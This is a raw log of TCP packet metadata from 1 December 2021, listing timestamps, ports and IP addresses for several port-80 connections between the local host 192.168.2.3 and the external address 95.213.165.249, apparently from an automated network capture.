Dec 1, 2021 10:05:01.243567944 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243594885 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243613958 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243618965 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243621111 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243649006 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243660927 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243664980 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243676901 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243704081 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243716955 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243721962 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243731976 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243763924 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243777990 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243782997 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243789911 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243815899 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243830919 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243835926 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243841887 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243865967 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243882895 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243886948 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243892908 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243917942 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243937016 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243942022 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243942022 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243966103 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.243983030 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243988991 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.243990898 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244015932 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244029999 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244035959 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244040012 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244064093 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244085073 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244088888 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244088888 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244111061 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244133949 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244136095 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244137049 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244162083 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244185925 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244187117 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244189978 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244210958 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244234085 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244235039 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244240999 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244256973 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244282007 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244286060 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244290113 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244306087 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244332075 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244332075 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244335890 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244355917 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244379997 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244379997 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244383097 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244406939 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244430065 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244431973 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244435072 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244458914 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244479895 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244483948 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244484901 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244510889 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244529963 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244534969 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244535923 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244560003 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244585037 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244585991 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244590044 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244611979 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244637012 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244638920 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244641066 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244663954 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244694948 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244698048 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244699955 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244725943 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244750977 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244751930 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244757891 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244777918 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244801998 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244802952 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244806051 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244828939 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244870901 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244874954 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244875908 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244879007 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.244904041 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244929075 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.244941950 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.246201038 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.261131048 CET	80	49834	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302567959 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302609921 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302634954 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302660942 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302673101 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302687883 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302714109 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302738905 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302763939 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302764893 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302771091 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302788973 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302813053 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302838087 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302850962 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302856922 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302865028 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302890062 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302900076 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302903891 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302915096 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302939892 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302947998 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302951097 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302966118 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302990913 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.302994967 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.302997112 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303014994 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303039074 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303052902 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303056955 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303059101 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303062916 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303088903 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303097963 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303114891 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303144932 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303167105 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303169966 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303170919 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303195000 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303219080 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303242922 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303261042 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303263903 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303267002 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303293943 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303318024 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303333044 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303342104 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303366899 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303389072 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303390026 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303392887 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303416967 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303441048 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303464890 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303466082 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303469896 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303488970 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303510904 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303533077 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303535938 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303536892 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303560972 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303584099 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303591013 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303595066 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303607941 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303632021 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303638935 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303642988 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303657055 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303683043 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303683996 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303688049 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303706884 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303733110 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303734064 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303738117 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303755999 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303778887 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303780079 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303783894 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303802967 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303827047 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303833961 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303850889 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303858042 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303862095 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303874969 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303899050 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303906918 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303910971 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303922892 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303946018 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303968906 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303992987 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.303996086 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.303999901 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304017067 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304040909 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304049015 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304064989 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304086924 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304107904 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304111958 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304111958 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304136038 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304158926 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304158926 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304183006 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304205894 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304213047 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304217100 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304229975 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304255009 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304270029 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304274082 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304279089 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304305077 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304330111 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304332972 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304337025 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304353952 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304379940 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304403067 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304405928 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304410934 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304428101 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304452896 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304476023 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304477930 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304481983 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304500103 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304522991 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304546118 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304554939 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304558992 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304570913 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304595947 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304621935 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304624081 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304629087 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304647923 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.304699898 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.304706097 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.307280064 CET	80	49834	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.307550907 CET	49834	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.307676077 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.311296940 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.312170029 CET	49834	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362504959 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362550020 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362571955 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362596035 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362617970 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362641096 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362663031 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362683058 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362706900 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362724066 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362731934 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362754107 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362776995 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362806082 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362831116 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362833977 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362838030 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362852097 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362871885 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362890005 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362903118 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362906933 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362910032 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.362967014 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362971067 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.362991095 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363015890 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363061905 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363086939 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363104105 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.363109112 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363109112 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.363132000 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363157988 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363166094 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.363169909 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.363178968 CET	80	49833	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.363213062 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.363217115 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.363933086 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.369410992 CET	80	49834	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.389894962 CET	49835	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.447518110 CET	80	49835	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.447774887 CET	49835	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.447958946 CET	49835	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.449491978 CET	49835	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.505518913 CET	80	49835	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.506978035 CET	80	49835	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.547652006 CET	80	49835	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.547683954 CET	80	49835	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.547796011 CET	49835	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.548139095 CET	49835	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.584841013 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.605639935 CET	80	49835	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.642848015 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.644234896 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.644479036 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.660933971 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.664738894 CET	49833	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.730918884 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.730963945 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.730977058 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.730993032 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731005907 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731024027 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731040001 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731056929 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731072903 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731090069 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.731091976 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.731179953 CET	49836	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:05:01.789010048 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789045095 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789057016 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789076090 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789094925 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789109945 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789127111 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789144993 CET	80	49836	95.213.165.249	192.168.2.3
Dec 1, 2021 10:05:01.789160967 CET	80	49836	95.213.165.249	192.168.2.3
